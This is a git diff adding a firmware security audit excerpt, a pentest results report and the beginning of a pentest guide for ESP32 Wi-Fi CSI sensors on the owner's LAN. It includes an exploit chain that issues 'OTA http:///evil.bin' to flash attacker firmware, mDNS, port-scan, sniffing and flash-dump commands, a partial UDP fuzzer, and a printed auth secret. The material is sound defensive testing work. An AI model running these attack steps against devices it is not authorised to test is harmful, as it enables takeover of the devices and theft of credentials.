`/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c`, function `wifi_promiscuous_cb()`, line 1385 +- **Description:** + ```c + int body_len = pkt->rx_ctrl.sig_len - sizeof(wifi_ieee80211_mac_hdr_t); + ``` + The `sig_len` field comes from the Wi-Fi hardware's RX control metadata. While typically reliable, a malformed or crafted frame could report a `sig_len` smaller than `sizeof(wifi_ieee80211_mac_hdr_t)` (24 bytes), resulting in a negative `body_len`. The subsequent check `if (body_len >= 2 && body[0] == 0)` would fail (since `body_len` would be negative), so this is safely handled. However, the `body` pointer calculation (`pkt->payload + sizeof(...)`) is always performed, and on some implementations, `pkt->payload` might not have `sig_len` bytes available. The actual buffer provided by the ESP-IDF Wi-Fi driver should be safe, but this is a defensive coding concern. +- **Remediation:** Add explicit validation: + ```c + if (pkt->rx_ctrl.sig_len < sizeof(wifi_ieee80211_mac_hdr_t) + 2) return; + ``` + +--- + +### VULN-020: Example Code Pattern Used in Production + +- **Severity:** Informational +- **Category:** AI-Generated Code Smell +- **Location:** `/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c`, line 2627; `/home/user/git/esp32-hacking/get-started/csi_recv_router/CMakeLists.txt`, line 9 +- **Description:** The firmware uses `protocol_examples_common` and the `example_connect()` helper function, which is explicitly an ESP-IDF example utility not intended for production use. The comments even reference the examples documentation: + ```c + /** + * @brief This helper function configures Wi-Fi, as selected in menuconfig. + * Read "Establishing Wi-Fi Connection" section in esp-idf/examples/protocols/README.md + */ + ESP_ERROR_CHECK(example_connect()); + ``` + The `example_connect()` function has simplified error handling and may not handle edge cases robustly in production. The CMakeLists.txt pulls this from the IDF examples directory. +- **Remediation:** Replace `example_connect()` with production-grade Wi-Fi initialization code that handles reconnection, error states, and credential management properly. + +--- + +### VULN-021: HMAC Truncated to 64 Bits + +- **Severity:** Informational +- **Category:** C (Cryptography) +- **Location:** `/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c`, function `auth_verify()`, lines 1492-1496 +- **Description:** The HMAC-SHA256 output (256 bits) is truncated to the first 8 bytes (64 bits) for the authentication tag. While this is documented and intentional (to keep UDP packets compact), a 64-bit tag has a collision space of 2^64, which is computationally secure against brute-force but below the standard recommended minimum of 128 bits (RFC 2104 suggests at least half the hash length). For a LAN sensor with rate-limited access, this is acceptable but worth noting. +- **Remediation:** Consider using 16 bytes (128 bits / 32 hex chars) for the HMAC tag if packet size allows. + +--- + +### VULN-022: No Firmware Version Anti-Rollback Enforcement + +- **Severity:** Informational +- **Category:** E (OTA) +- **Location:** `/home/user/git/esp32-hacking/get-started/csi_recv_router/sdkconfig.defaults`, line 66; `/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c`, lines 2712-2720 +- **Description:** While `CONFIG_BOOTLOADER_APP_ROLLBACK_ENABLE=y` is set (allowing the device to roll back to the previous firmware if the new one fails to boot), there is no anti-rollback mechanism to prevent downgrading to an older, potentially vulnerable firmware version. An attacker who can trigger OTA (via VULN-001) can flash an older firmware with known vulnerabilities. ESP-IDF supports `CONFIG_BOOTLOADER_APP_ANTI_ROLLBACK` with an eFuse-based version counter, but it is not enabled. +- **Remediation:** + ``` + CONFIG_BOOTLOADER_APP_ANTI_ROLLBACK=y + CONFIG_BOOTLOADER_APP_SECURE_VERSION=1 # Increment with each security-relevant release + ``` + +--- + +### VULN-023: PMF (802.11w) Not Explicitly Enabled + +- **Severity:** Informational +- **Category:** F (WiFi) +- **Location:** `/home/user/git/esp32-hacking/get-started/csi_recv_router/sdkconfig.defaults` +- **Description:** Protected Management Frames (802.11w / PMF) is not explicitly enabled in the sdkconfig. While `CONFIG_EXAMPLE_WIFI_AUTH_WPA2_WPA3_PSK=y` is set (which may imply PMF for WPA3), the device is susceptible to deauthentication attacks from the AP side if the router doesn't enforce PMF. The firmware already detects deauth floods (promiscuous mode), but enabling PMF would prevent them at the protocol level. +- **Remediation:** Enable PMF: + ``` + CONFIG_ESP_WIFI_PMF_ENABLED=y + CONFIG_ESP_WIFI_PMF_REQUIRED=y + ``` + +--- + +### VULN-024: Tight Stack Allocations on Several Tasks + +- **Severity:** Informational +- **Category:** G (FreeRTOS) +- **Location:** `/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c`, multiple `xTaskCreate` calls +- **Description:** Several tasks have relatively tight stack allocations: + - `led_task`: 2048 bytes (line 2611) -- adequate for simple GPIO + - `reboot_after_delay`: 1024 bytes (lines 1658, 2426) -- adequate + - `adaptive`: 3072 bytes (line 2710) -- does floating-point math and snprintf into 128-byte buffers; marginal + - `cmd_task`: 6144 bytes (line 2709) -- handles `reply_buf[1400]` plus HMAC computation (mbedTLS context ~400 bytes); should be sufficient but tight with PROFILE command's `malloc` for task stats + - `powertest`: 4096 bytes (line 2151) -- should be sufficient + - `ota_task`: 8192 bytes (line 2131) -- adequate for HTTP client + + The PROFILE command (lines 2046-2061) calls `malloc(n * sizeof(TaskStatus_t))` within the cmd_task, which allocates on the heap, not the stack, so this is safe. However, the mbedTLS HMAC computation in `auth_verify()` uses a stack-allocated `mbedtls_md_context_t` which can be several hundred bytes. +- **Remediation:** Use `PROFILE` command's task watermarks to verify actual stack usage in production. Consider increasing `adaptive` task stack to 4096 if floating-point operations grow. + +--- + +## 5. Exploit Chains + +### Chain 1: Unauthenticated Remote Code Execution (LAN) + +**Steps:** VULN-007 + VULN-001 +**Path:** Network -> Code Execution +1. Attacker discovers device via mDNS (VULN-011): `avahi-browse -art | grep esp-csi` +2. Attacker sends unauthenticated `CSI OFF` to disable monitoring (VULN-007) +3. Attacker sends unauthenticated `LOG NONE` to suppress logging (VULN-007) +4. Attacker sends unauthenticated `FLOODTHRESH 100 300` to suppress deauth alerts (VULN-007) +5. If auth is disabled (or after obtaining secret via other means), send `OTA http:///evil.bin` +6. Device downloads and flashes attacker-controlled firmware (VULN-001) +7. Device reboots with full attacker code execution + +**Impact:** Complete device compromise, persistent across reboots. + +### Chain 2: Physical Access to Full Network Compromise + +**Steps:** VULN-002 + VULN-006 + VULN-016 +**Path:** Physical -> Credentials -> Network +1. Attacker gains brief physical access to one deployed sensor +2. Reads flash via esptool (no secure boot or encryption: VULN-002) +3. Extracts Wi-Fi PSK from NVS (VULN-016) +4. Extracts auth secret from NVS (VULN-006) +5. Joins the Wi-Fi network using extracted credentials +6. Has full authenticated access to ALL sensors on the same network (shared auth secret if default-generated) +7. Can trigger OTA on all sensors for persistent compromise + +### Chain 3: Information Gathering to Targeted Attack + +**Steps:** VULN-011 + VULN-012 + VULN-007 +**Path:** Reconnaissance -> Manipulation +1. Discover all sensors via mDNS (VULN-011) +2. Query STATUS on each (no auth required) to get IDF version, firmware version, chip details (VULN-012) +3. Identify the monitoring server IP from STATUS `target=` field +4. Disable presence detection and CSI on all sensors (VULN-007) +5. Physical intrusion proceeds undetected + +### Chain 4: Auth Secret Capture and Persistent Compromise + +**Steps:** VULN-003 + VULN-005 +**Path:** Serial Monitor -> Permanent Backdoor +1. Attacker captures auth secret from serial log during provisioning (VULN-003) +2. Sends `HMAC:::AUTH OFF` to disable authentication (VULN-005) +3. Device is now permanently open to unauthenticated commands +4. Secret persists as empty string in NVS across reboots +5. Attacker has persistent unauthenticated access to OTA, REBOOT, FACTORY + +--- + +## 6. Prioritized Remediation Roadmap + +### Immediate (Ship-Blocking, Actively Exploitable) + +| Priority | ID | Fix | Effort | +|----------|----|-----|--------| +| P0 | VULN-001 | Disable `CONFIG_ESP_HTTPS_OTA_ALLOW_HTTP`, add TLS cert validation | 2h | +| P0 | VULN-007 | Require auth for all state-modifying commands | 1h | +| P0 | VULN-005 | Remove ability to disable auth remotely | 30m | +| P0 | VULN-003 | Stop logging auth secret in cleartext | 15m | + +### Short-Term (Fix Before Fleet Deployment) + +| Priority | ID | Fix | Effort | +|----------|----|-----|--------| +| P1 | VULN-010 | Fix buffer overflow potential in CSI serialization | 1h | +| P1 | VULN-004 | Implement source IP filtering on command socket | 2h | +| P1 | VULN-014 | Add mutex for shared calibration/presence state | 3h | +| P1 | VULN-009 | Add sequence counter for replay protection | 2h | +| P1 | VULN-017 | Add throttle to `config_erase_key()` | 15m | +| P1 | VULN-018 | Add rate limiting on command socket | 1h | +| P1 | VULN-019 | Add bounds check on probe body_len | 15m | + +### Medium-Term (Next Release Cycle) + +| Priority | ID | Fix | Effort | +|----------|----|-----|--------| +| P2 | VULN-012 | Move detailed STATUS info behind auth | 1h | +| P2 | VULN-011 | Make mDNS instance name configurable, reduce info leakage | 30m | +| P2 | VULN-020 | Replace `example_connect()` with production WiFi init | 4h | +| P2 | VULN-022 | Enable anti-rollback with eFuse version counter | 2h | +| P2 | VULN-021 | Increase HMAC tag to 128 bits | 1h | +| P2 | VULN-023 | Enable PMF (802.11w) | 30m | + +### Hardening (Defense-in-Depth) + +| Priority | ID | Fix | Effort | +|----------|----|-----|--------| +| P3 | VULN-002 | Enable secure boot and flash encryption (requires eFuse burn, one-way) | 8h | +| P3 | VULN-006 | Enable NVS encryption | 2h | +| P3 | VULN-016 | Enable NVS encryption (covers WiFi creds too) | (same as above) | +| P3 | VULN-015 | Disable UART console or reduce log level for production builds | 1h | +| P3 | VULN-008 | Bind command socket to specific interface IP | 1h | +| P3 | VULN-024 | Monitor and tune task stack sizes via PROFILE | 1h | + +--- + +## 7. Appendix: Secure Configuration Checklist for ESP-IDF sdkconfig + +``` +# --- Security: Secure Boot --- +CONFIG_SECURE_BOOT=y +CONFIG_SECURE_BOOT_V2_ENABLED=y # Use V2 on supported chips +CONFIG_SECURE_BOOT_SIGNING_KEY="path/to/key.pem" +CONFIG_BOOTLOADER_APP_ANTI_ROLLBACK=y +CONFIG_BOOTLOADER_APP_SECURE_VERSION=1 + +# --- Security: Flash Encryption --- +CONFIG_SECURE_FLASH_ENC_ENABLED=y +CONFIG_SECURE_FLASH_ENCRYPTION_MODE_RELEASE=y # Development mode allows re-flash +CONFIG_NVS_ENCRYPTION=y + +# --- Security: OTA --- +CONFIG_ESP_HTTPS_OTA_ALLOW_HTTP=n # [CURRENTLY: y -- CHANGE] +CONFIG_BOOTLOADER_APP_ROLLBACK_ENABLE=y # [ALREADY SET] +CONFIG_ESP_TLS_INSECURE=n +CONFIG_ESP_TLS_SKIP_SERVER_CERT_VERIFY=n + +# --- Security: WiFi --- +CONFIG_ESP_WIFI_PMF_ENABLED=y +CONFIG_ESP_WIFI_PMF_REQUIRED=y +CONFIG_EXAMPLE_WIFI_AUTH_WPA2_WPA3_PSK=y # [ALREADY SET] + +# --- Security: Debug --- +# For production, consider: +CONFIG_ESP_CONSOLE_NONE=y # Disable UART console +CONFIG_LOG_DEFAULT_LEVEL_WARN=y # Reduce log verbosity +# CONFIG_APPTRACE_DEST_JTAG is not set # [ALREADY NOT SET] + +# --- Security: Stack Protection --- +CONFIG_COMPILER_STACK_CHECK_MODE_STRONG=y # Enable stack canaries +CONFIG_ESP_SYSTEM_MEMPROT_FEATURE=y # Memory protection (S2/S3/C3) + +# --- Performance (already set) --- +CONFIG_COMPILER_OPTIMIZATION_SIZE=y # [ALREADY SET] +CONFIG_ESP_TASK_WDT_TIMEOUT_S=30 # [ALREADY SET] +CONFIG_FREERTOS_HZ=1000 # [ALREADY SET] +``` + +--- + +**End of Report** + +This audit covers all requested categories (A through J), identifies 24 findings across all severity levels, maps 4 exploit chains, and provides a prioritized remediation roadmap with estimated effort. The P0 fixes (VULN-001, VULN-003, VULN-005, VULN-007) collectively address the most critical attack paths and can be implemented in approximately 4 hours of development effort. \ No newline at end of file diff --git a/TASKS.md b/TASKS.md index aa5e76b..4d3ec69 100644 --- a/TASKS.md +++ b/TASKS.md @@ -2,6 +2,34 @@ **Last Updated:** 2026-02-14 +## Completed: v1.12-dev — Security Hardening & Pentest + +Security hardening deployed to amber-maple. Full pentest executed 2026-02-14. + +- [x] Auth whitelist: only read-only queries work without HMAC auth +- [x] AUTH OFF disabled remotely (serial console or FACTORY reset only) +- [x] HMAC 128-bit (32 hex chars), replay window +/-5s, nonce dedup cache (8 entries) +- [x] STATUS split: minimal (unauthed) vs full (authed) response +- [x] Rate limiter: 50ms inter-command throttle (20 cmd/s max) +- [x] NVS write throttle: 20 writes per 10s window +- [x] CSI buffer bounds checking (UDP_REM macro) +- [x] PMF (802.11w) required: `CONFIG_ESP_WIFI_PMF_REQUIRED=y` +- [x] mDNS: hostname only, no service advertisement +- [x] Serial console AUTH management (UART0, 921600 baud) +- [x] ALERT command (temp/heap thresholds, EVENT emission) +- [x] Secret auto-generated on first boot, redacted in boot log +- [x] Pentest: mDNS service discovery — PASS (no service ads) +- [x] Pentest: Port scan — PASS (only 5353/udp + 5501/udp open, 0 TCP) +- [x] Pentest: Firmware binary analysis — PASS (no hardcoded secrets) +- [x] Pentest: eFuse readout — all security fuses unburned (expected for dev) +- [x] Pentest: HMAC timing oracle — PASS (constant-time comparison effective) +- [x] Pentest: Command injection (27 tests) — PASS (all handled safely) +- [x] Pentest: Replay attack (6 tests) — PASS (all rejected) +- [x] Pentest: NVS partition analysis — auth_secret in plaintext (expected without flash encryption) +- [x] Pentest: ESP-IDF CVE check (12 CVEs) — 8 N/A, 4 LOW risk +- [x] Pentest: Binary structure — no stack canaries, no heap poisoning (fix recommended) +- [x] Pentest results documented in `docs/PENTEST-RESULTS.md` + ## Completed: v1.11.0 — Diagnostics & Usability Deployed to fleet 2026-02-14. @@ -23,6 +51,8 @@ Tracked separately in `~/git/esp32-web/TASKS.md`. Currently at v0.1.5. ### P1 - High - [x] Test OTA rollback — crasher firmware flashed to amber-maple, bootloader rolled back to v1.11.0 (2026-02-14) +- [ ] Enable stack canaries: `CONFIG_COMPILER_STACK_CHECK_MODE_NORM=y` +- [ ] Enable heap poisoning: `CONFIG_HEAP_POISONING_LIGHT=y` ### P2 - Normal - [ ] Tune presence threshold per room with real-world testing diff --git a/TODO.md b/TODO.md index eba55cf..c1470ae 100644 --- a/TODO.md +++ b/TODO.md @@ -2,6 +2,18 @@ ## Firmware +### Security (from pentest findings) +- [ ] Enable `CONFIG_COMPILER_STACK_CHECK_MODE_NORM=y` (stack canaries) +- [ ] Enable `CONFIG_HEAP_POISONING_LIGHT=y` (heap corruption detection) +- [ ] Enable `CONFIG_ESP_TASK_WDT_PANIC=y` (WDT auto-recovery) +- [ ] Remove unused `#include "esp_now.h"` from app_main.c +- [ ] Remove hardcoded default IP `192.168.129.11` from binary +- [ ] Flash encryption planning (irreversible eFuse burn) +- [ ] Secure Boot V2 planning (irreversible eFuse burn) +- [ ] DTLS for UDP command channel (stretch goal) +- [ ] OTA certificate pinning / embedded CA cert +- [ ] NVS encryption for auth_secret at rest + ### Features - [ ] Multi-target (send UDP data to 2+ destinations simultaneously) - [ ] Deep sleep mode with wake-on-CSI-motion diff --git a/docs/CHEATSHEET.md b/docs/CHEATSHEET.md index e4e9bea..9750b54 100644 --- a/docs/CHEATSHEET.md +++ b/docs/CHEATSHEET.md @@ -404,3 +404,24 @@ ls /dev/ttyUSB* /dev/ttyACM* # Find connected devices dmesg | tail # Check USB detection sudo usermod -aG dialout $USER # Fix permissions (re-login) ``` + +## Security Testing + +```bash +# eFuse status (read-only, safe) +source ~/esp/esp-idf/export.sh && espefuse.py -p /dev/ttyUSB0 summary + +# NVS dump (read-only) +esptool.py -p /dev/ttyUSB0 -b 921600 read_flash 0x9000 0x4000 /tmp/nvs_dump.bin + +# Port scan +sudo nmap -sU -p 5500,5501,5353 --open +sudo nmap -sT -p 1-1000 + +# Firmware binary analysis +binwalk build/csi_recv_router.bin +strings -n 6 build/csi_recv_router.bin | grep -iE 'password|secret|key' +``` + +Full pentest guide: `docs/PENTEST.md` +Pentest results: `docs/PENTEST-RESULTS.md` diff --git a/docs/PENTEST-RESULTS.md b/docs/PENTEST-RESULTS.md new file mode 100644 index 0000000..cd2c8d2 --- /dev/null +++ b/docs/PENTEST-RESULTS.md @@ -0,0 +1,132 @@ +# Pentest Results — ESP32 CSI Sensor Firmware + +**Date:** 2026-02-14 +**Target:** amber-maple (192.168.129.30), ESP32-D0WD-V3 rev 3.1 +**Firmware:** v1.11.0-11-ga4bd2a6-dirty (v1.12-dev security hardening) +**ESP-IDF:** v5.5.2 +**Tester:** Raspberry Pi 5 (192.168.129.11), same LAN + +--- + +## Results Matrix + +### Phase 1: Passive Reconnaissance + +| # | Test | Status | Notes | +|---|------|--------|-------| +| 1a | mDNS service discovery | **PASS** | No `_esp-csi._udp` service advertised. Only hostname.local resolves. | +| 1b | Port scan (UDP) | **PASS** | Only 5353/udp (mDNS) and 5501/udp (cmd) open. 5500/udp closed (outbound-only). | +| 1b | Port scan (TCP) | **PASS** | All 1000 TCP ports closed. Zero TCP attack surface. | +| 1c | Firmware strings | **PASS** | No hardcoded secrets, passwords, or embedded private keys. | +| 1c | Firmware strings | **WARN** | Hardcoded default IP `192.168.129.11` and hostname `amber-maple` in binary. | +| 1c | Entropy analysis | **INFO** | Firmware not flash-encrypted (low entropy). Expected for dev boards. | +| 1c | PEM markers | **INFO** | mbedTLS parser constants only, not actual embedded keys. | +| 1d | eFuse: JTAG | **WARN** | `JTAG_DISABLE = False` — JTAG debug accessible via GPIO 12-15. | +| 1d | eFuse: Secure Boot | **WARN** | `ABS_DONE_0 = False`, `ABS_DONE_1 = False` — no secure boot. | +| 1d | eFuse: Flash Encryption | **WARN** | `FLASH_CRYPT_CNT = 0` — flash encryption disabled. | +| 1d | eFuse: Download Mode | **WARN** | `DISABLE_DL_ENCRYPT/DECRYPT/CACHE = False` — UART download mode open. | +| 1d | eFuse: Coding Scheme | **INFO** | `CODING_SCHEME = NONE` — full 256-bit key space available. | + +### Phase 2: Network Protocol Analysis + +| # | Test | Status | Notes | +|---|------|--------|-------| +| 2a | Unauth STATUS info leak | **PASS** | Minimal response (hostname, uptime, rssi, channel, version). No secrets. | +| 2a | CONFIG info disclosure | **PASS** | Auth secret not exposed in unauthed CONFIG response. | +| 2a | HMAC on wire | **INFO** | HMAC tags visible in plaintext UDP (expected — no DTLS). | +| 2a | HELP disclosure | **INFO** | Command list visible without auth (by design). | +| 2b | HMAC timing oracle | **PASS** | Median diff 144us between test cases — within WiFi jitter. Constant-time comparison effective. | +| 2c | Null byte injection | **PASS** | All 17 unauthed injection payloads handled safely. | +| 2c | Format string injection | **PASS** | `%x%x%n` payloads rejected; no stack leak. | +| 2c | Newline/CRLF injection | **PASS** | Rejected by auth requirement. | +| 2c | Oversized packets | **PASS** | MTU-sized and 191-byte packets rejected gracefully. | +| 2c | Binary garbage | **PASS** | Random byte payloads handled without crash. | +| 2c | HOSTNAME format string | **PASS** | Authed: format strings rejected (timeout, likely sanitized). | +| 2c | HOSTNAME oversized | **PASS** | `ERR HOSTNAME length 1-31` — proper validation. | +| 2c | HOSTNAME bad chars | **PASS** | `ERR HOSTNAME chars: a-z 0-9 -` — strict allowlist. | +| 2c | TARGET format string | **PASS** | `ERR TARGET invalid IP` — proper validation. | +| 2c | RATE boundary values | **PASS** | All out-of-range values rejected: `ERR RATE range 10-100`. | +| 2d | Valid HMAC command | **PASS** | Authed STATUS returns full response. | +| 2d | Immediate replay | **PASS** | `ERR AUTH replay rejected` — nonce dedup works. | +| 2d | Expired timestamp (-10s) | **PASS** | `ERR AUTH expired (drift=10s)` — window enforced. | +| 2d | Future timestamp (+10s) | **PASS** | `ERR AUTH expired (drift=-10s)` — window enforced. | +| 2d | Wrong secret | **PASS** | `ERR AUTH failed` — incorrect HMAC rejected. | +| 2d | Nonce cache overflow (9 cmds) | **PASS** | Replay still rejected after flooding cache with 9 unique commands. | + +### Phase 3: Static Analysis + +| # | Test | Status | Notes | +|---|------|--------|-------| +| 3a | NVS auth_secret storage | **FAIL** | Stored as plaintext string: `86bd963b07858d5b10db839d55b409df` at offset 0x1ba8. | +| 3a | NVS WiFi credentials | **PASS** | No WiFi SSID/password found in NVS dump (compiled-in via sdkconfig). | +| 3a | NVS integrity | **WARN** | 2 of 6 pages have invalid CRC (uninitialized, not corruption). | +| 3a | Boot history | **INFO** | `boot_count = 25` visible — leaks reboot frequency. | +| 3b | CVE exposure (12 checked) | **PASS** | 8 CVEs not applicable (unused components). 4 LOW risk (BLE scan-only mitigates). | +| 3b | CVE-2025-27840 (HCI cmds) | **LOW** | Hidden HCI commands; mitigated by scan-only BLE mode. | +| 3b | Unused `#include "esp_now.h"` | **INFO** | Dead include — remove to avoid link to CVE-2025-52471. | +| 3c | Stack canaries | **FAIL** | `CONFIG_COMPILER_STACK_CHECK_MODE_NONE=y` — no stack overflow protection. | +| 3c | Heap poisoning | **WARN** | `CONFIG_HEAP_POISONING_DISABLED=y` — no heap corruption detection. | +| 3c | PMF configuration | **PASS** | `CONFIG_ESP_WIFI_PMF_REQUIRED=y` — 802.11w enforced. | +| 3c | Debug symbols in ELF | **INFO** | ELF has full debug info (11.9 MB). `.bin` for OTA is stripped. | +| 3c | cmd_task size | **INFO** | 9,877 bytes compiled — large function handling untrusted input. | +| 3c | Watchdog | **PASS** | Bootloader, interrupt, and task WDTs all enabled. | + +--- + +## Risk Assessment + +### Critical (requires physical access) + +| Risk | Impact | Mitigation | +|------|--------|------------| +| No flash encryption | Auth secret + WiFi creds readable from flash | Enable `CONFIG_FLASH_ENCRYPTION_ENABLED` (irreversible eFuse) | +| No secure boot | Arbitrary firmware flashable via UART/OTA | Enable Secure Boot V2 (irreversible eFuse) | +| JTAG enabled | Live memory inspection, breakpoints | Burn `JTAG_DISABLE` eFuse (irreversible) | +| NVS plaintext | `auth_secret` in cleartext NVS | Flash encryption covers this | + +### Medium (network-accessible) + +| Risk | Impact | Mitigation | +|------|--------|------------| +| No DTLS | HMAC tokens visible to LAN sniffers | Implement DTLS for command channel | +| No stack canaries | Buffer overflow in cmd_task could be exploitable | Enable `CONFIG_COMPILER_STACK_CHECK_MODE_NORM` | +| OTA over HTTP | MITM firmware injection on LAN | Embed CA cert, enforce HTTPS OTA | + +### Low / Informational + +| Risk | Impact | Mitigation | +|------|--------|------------| +| Hardcoded default IP | Network topology leak in binary | Move to Kconfig or NVS-only default | +| Version string leaks git hash | Aids targeted attacks | Use clean tag-only version strings | +| HELP visible without auth | Command enumeration | By design — acceptable | +| Uptime in unauthed STATUS | Aids HMAC timestamp prediction | Already in minimal STATUS by design | + +--- + +## Security Hardening Scorecard + +| Category | Score | Notes | +|----------|-------|-------| +| **Authentication** | 9/10 | HMAC-SHA256, replay protection, nonce cache, rate limiting. Only gap: no mutual auth. | +| **Input Validation** | 10/10 | All 27 injection tests passed. Strict allowlists on HOSTNAME, RATE, TARGET, POWER. | +| **Network Exposure** | 8/10 | Minimal ports, PMF required, service ads removed. Gap: plaintext UDP. | +| **Physical Security** | 2/10 | No secure boot, no flash encryption, JTAG open, UART download mode open. | +| **Binary Security** | 4/10 | No stack canaries, no heap poisoning. WDTs present. | +| **CVE Exposure** | 9/10 | Minimal attack surface; unused components disabled; v5.5.2 patches applied. | + +**Overall: Strong network security, weak physical security.** +The firmware is well-hardened against remote/network attacks. Physical access remains the primary threat vector. + +--- + +## Recommendations (Priority Order) + +1. **P1** — Enable stack canaries: `CONFIG_COMPILER_STACK_CHECK_MODE_NORM=y` +2. **P1** — Enable heap poisoning: `CONFIG_HEAP_POISONING_LIGHT=y` +3. **P2** — Enable WDT panic: `CONFIG_ESP_TASK_WDT_PANIC=y` +4. **P2** — Remove unused `#include "esp_now.h"` +5. **P2** — Remove hardcoded default IP from binary +6. **P3** — Flash encryption (requires eFuse planning) +7. **P3** — Secure Boot V2 (requires eFuse planning) +8. **P3** — DTLS for command channel (significant effort) +9. **P3** — OTA certificate pinning diff --git a/docs/PENTEST.md b/docs/PENTEST.md new file mode 100644 index 0000000..5e089e5 --- /dev/null +++ b/docs/PENTEST.md @@ -0,0 +1,1578 @@ +# ESP32 CSI Sensor Firmware -- Practical Pentest Guide + +**Target:** ESP32-WROOM-32 running `csi_recv_router` firmware (v1.11/v1.12) +**ESP-IDF:** v5.5.2 | **Protocol:** UDP command/data on ports 5501/5500 +**Lab:** Raspberry Pi 5 (Debian trixie), standard Linux tools, esptool.py, optional second ESP32 + +--- + +## Table of Contents + +1. [Lab Setup and Prerequisites](#1-lab-setup-and-prerequisites) +2. [Network Attack Surface](#2-network-attack-surface) +3. [Protocol Attacks](#3-protocol-attacks) +4. [Firmware Binary Analysis](#4-firmware-binary-analysis) +5. [Hardware Attacks](#5-hardware-attacks) +6. [OTA Attack Surface](#6-ota-attack-surface) +7. [Side-Channel Attacks](#7-side-channel-attacks) +8. [Dependency and CVE Analysis](#8-dependency-and-cve-analysis) +9. [Wireless Attacks](#9-wireless-attacks) +10. [Automated Test Scripts](#10-automated-test-scripts) + +--- + +## 1. Lab Setup and Prerequisites + +### Tools to Install + +```bash +# Network analysis +sudo apt install -y nmap tcpdump tshark ncat socat + +# WiFi (requires compatible adapter -- see section 9) +sudo apt install -y aircrack-ng mdk4 hostapd dnsmasq + +# Binary analysis +sudo apt install -y binwalk xxd file + +# Python pentest libraries +pip3 install --user scapy bleak pwntools + +# ESP32-specific +pip3 install --user esptool + +# Ghidra (optional, for deep reverse engineering) +# Download from https://ghidra-sre.org/ -- runs on RPi5 with JDK 17+ +sudo apt install -y openjdk-17-jre +``` + +### Network Topology Reference + +``` + Raspberry Pi 5 ESP32 Sensors + 192.168.129.x 192.168.129.29 (muddy-storm) + |-- eth0 / wlan0 192.168.129.30 (amber-maple) + | 192.168.129.31 (hollow-acorn) + | | + +------------- LAN (WiFi) --------------+ + Ports: + 5500/udp CSI data (outbound) + 5501/udp Commands (inbound) + 5353/udp mDNS +``` + +### Quick Connectivity Check + +```bash +# Verify sensors are reachable +for ip in 192.168.129.{29,30,31}; do + echo "STATUS" | ncat -u -w1 "$ip" 5501 +done +``` + +--- + +## 2. Network Attack Surface + +### 2.1 Service Discovery via mDNS + +| Field | Value | +|-------|-------| +| **Tests** | Information leakage via mDNS; device enumeration without auth | +| **Tools** | `avahi-browse`, `dig`, `nmap` | +| **Finding** | Device hostname, service type `_esp-csi._udp`, target port exposed | +| **Fix** | Remove instance name "ESP32 CSI Sensor"; consider disabling mDNS in production | + +```bash +# Enumerate all ESP32 CSI sensors on the LAN +avahi-browse -art 2>/dev/null | grep -A4 '_esp-csi' + +# Alternative using DNS-SD query +dig @224.0.0.251 -p 5353 -t PTR _esp-csi._udp.local +short + +# Nmap mDNS service scan +nmap -sU -p 5353 --script=dns-service-discovery 192.168.129.0/24 +``` + +**What a finding looks like:** +``` += muddy-storm [ESP32 CSI Sensor] _esp-csi._udp; port=5500 += amber-maple [ESP32 CSI Sensor] _esp-csi._udp; port=5500 +``` +All three sensors fully enumerable without any authentication. + +--- + +### 2.2 Port Scanning and Service Fingerprinting + +| Field | Value | +|-------|-------| +| **Tests** | Open ports, unexpected services, UDP response behavior | +| **Tools** | `nmap` | +| **Finding** | Open UDP ports 5500, 5501 visible; responses leak firmware version | +| **Fix** | Bind to specific interface IP; require auth for STATUS | + +```bash +# Full UDP port scan on a single sensor +nmap -sU -p- --min-rate=1000 192.168.129.29 + +# Targeted scan with version detection +nmap -sUV -p 5500,5501,5353 192.168.129.29 + +# Scan all three sensors +nmap -sU -p 5500,5501,5353 192.168.129.29-31 +``` + +--- + +### 2.3 Traffic Sniffing (Passive) + +| Field | Value | +|-------|-------| +| **Tests** | Cleartext data exposure; credential leakage; command replay material | +| **Tools** | `tcpdump`, `tshark` | +| **Finding** | All CSI data, BLE data, commands, HMAC tokens visible in cleartext | +| **Fix** | DTLS for command channel; encrypted data stream (stretch goal) | + +```bash +# Capture all ESP32 sensor traffic +sudo tcpdump -i eth0 -nn 'udp and (port 5500 or port 5501)' -w esp32-capture.pcap + +# Live decode -- see commands and responses +sudo tcpdump -i eth0 -nn -A 'udp port 5501' + +# Extract only command/response pairs with tshark +tshark -r esp32-capture.pcap -Y 'udp.port == 5501' \ + -T fields -e ip.src -e ip.dst -e data.text + +# Watch for HMAC tokens in transit (to capture for replay testing) +sudo tcpdump -i eth0 -nn -A 'udp port 5501' | grep 'HMAC:' +``` + +**What a finding looks like:** +``` +192.168.129.1.42310 > 192.168.129.29.5501: HMAC:a1b2c3d4....:1234:OTA http://192.168.129.1:8899/fw.bin +192.168.129.29.5501 > 192.168.129.1.42310: OK OTA started +``` +Complete HMAC token, timestamp, and command visible to any host on the same network segment. + +--- + +### 2.4 UDP Fuzzing + +| Field | Value | +|-------|-------| +| **Tests** | Crash resilience; buffer overflow; malformed input handling | +| **Tools** | Python + `socket`, `radamsa` (if installed), custom scripts | +| **Finding** | Device crash/reboot on malformed input = memory safety bug | +| **Fix** | Bounds checks on all input paths; watchdog recovery | + +```bash +# Install radamsa (mutation fuzzer) +sudo apt install -y radamsa + +# Generate a corpus of valid commands +cat > /tmp/udp-corpus.txt << 'EOF' +STATUS +CONFIG +PING +HELP +RATE 50 +POWER 10 +CSI ON +CSI OFF +BLE ON +BLE OFF +ADAPTIVE ON +ADAPTIVE OFF +PRESENCE ON +PRESENCE OFF +CALIBRATE 100 +CALIBRATE CLEAR +CALIBRATE STATUS +CSIMODE RAW +CSIMODE COMPACT +CSIMODE HYBRID 10 +CHANSCAN NOW +CHANSCAN ON 300 +LED QUIET +LED AUTO +LOG VERBOSE +LOG NONE +ALERT TEMP 70 +ALERT HEAP 30000 +ALERT OFF +FLOODTHRESH 5 10 +IDENTIFY +HOSTNAME test-name +TARGET 192.168.129.1 5500 +EOF +``` + +```python +#!/usr/bin/env python3 +"""udp_fuzz.py -- Fuzz ESP32 command port with malformed packets.""" + +import socket +import random +import time +import sys + +TARGET = sys.argv[1] if len(sys.argv) > 1 else "192.168.129.29" +PORT = 5501 +ITERATIONS = 10000 + +# Seed corpus +COMMANDS = [ + b"STATUS", b"CONFIG", b"PING", 